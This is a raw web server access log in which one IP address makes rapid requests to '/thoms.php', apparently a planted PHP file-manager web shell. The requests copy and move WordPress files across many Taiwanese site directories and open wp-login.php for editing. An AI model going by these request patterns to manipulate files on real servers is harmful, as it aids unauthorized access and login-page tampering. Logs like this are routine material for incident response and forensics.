45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11863 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18750 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18749 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=besth2o.com.tw HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bestzyx.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=biotaiwan.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bogroup.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=wp-content HTTP/1.1" 200 11435 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bestjudy.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bft.com.tw HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bioway88.com.tw HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bossini.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=ba-guo.com.tw HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=beauty-dental.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=big-wife.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=cgi-bin HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=broadweb.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11422 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=wp-content-20260912023544 HTTP/1.1" 200 11386 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=booking-wise2.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21968 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=upgrade HTTP/1.1" 200 11385 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21960 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=betcity.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bfl.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bodbooks.com.tw HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21961 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=wp-content HTTP/1.1" 200 11422 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21961 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=upgrade HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=cgi-bin HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21951 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bft.com.tw HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 200 11329 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=wp-content-20260912023544 HTTP/1.1" 200 11340 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21681 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?edit=wp-login.php&p=big-wife.com.tw HTTP/1.1" 200 28823 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?edit=wp-login.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 32483 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18749 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
